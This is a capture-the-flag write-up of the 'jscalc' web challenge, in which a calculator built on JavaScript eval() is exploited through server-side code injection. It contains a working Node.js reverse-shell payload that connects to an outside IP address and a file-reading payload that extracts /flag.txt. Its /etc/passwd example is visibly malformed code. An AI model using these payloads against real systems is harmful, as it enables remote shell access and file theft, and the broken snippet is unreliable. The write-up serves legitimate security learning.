

jscalc (web challenge)

exploitation of the js eval() function

input box on website:

A super secure Javascript calculator with the help of `eval()` 🤖

Calculate

follow link on the word eval()

tells you about the function

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

<https://dev.to/caffiendkitten/the-evil-javascript-eval-28ig>

Say your function that handles usernames might look like:

```
var str = '({"firstName":"John","lastName":"Smith"})';
var obj = eval(str);
eval('alert("Welcome Back: " + obj.firstName.);');
```

Output: John

A malicious user could not put in their name but instead puts `/etc/passwd`, a file or other sensitive files could be displayed instead of their name.

```
var str = '({"firstName":"fs.readFileSync(\'cat /etc/passwd\')+\'',\'');
var obj = eval(str);
eval('alert("Welcome Back: " + obj.firstName.);');
```

Output: tom:x:1000:1000:Vivek Gite:/home/vivek:/bin/bash

<https://medium.com/r3d-buck3t/eval-console-log-rce-warning-be68e92c3090>

```
(function(){
  var net = require("net"),
      cp = require("child_process"),
      sh = cp.spawn("/bin/bash", []);
  var client = new net.Socket();

  //create connection to the attacking machine
  client.connect(80, "192.168.49.243", function(){
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
  });
  return /a/;
})();
```

doesn't return anything (only thing that doesn't return some form of output)

`readFileSync` is used in js to read contents of file

```
fs.readFileSync('flag.txt');
```

A super secure Javascript calculator with the help of `eval()` 🤖

```
fs.readFileSync('flag.txt');
```

Calculate

`require('fs')` allows you to work with the file system on your computer

```
require('fs').readFileSync('/flag.txt');
```

A super secure Javascript calculator with the help of `eval()` 🤖

```
require('fs').readFileSync('/flag.txt');
```

Calculate

[object Object]

×

need to convert to string

```
require('fs').readFileSync('/flag.txt').toString();
```

A super secure Javascript calculator with the help of `eval()` 🤖

```
require('fs').readFileSync('/flag.txt').toString();
```

Calculate

Flag

×

gives you flag

happy hacking <3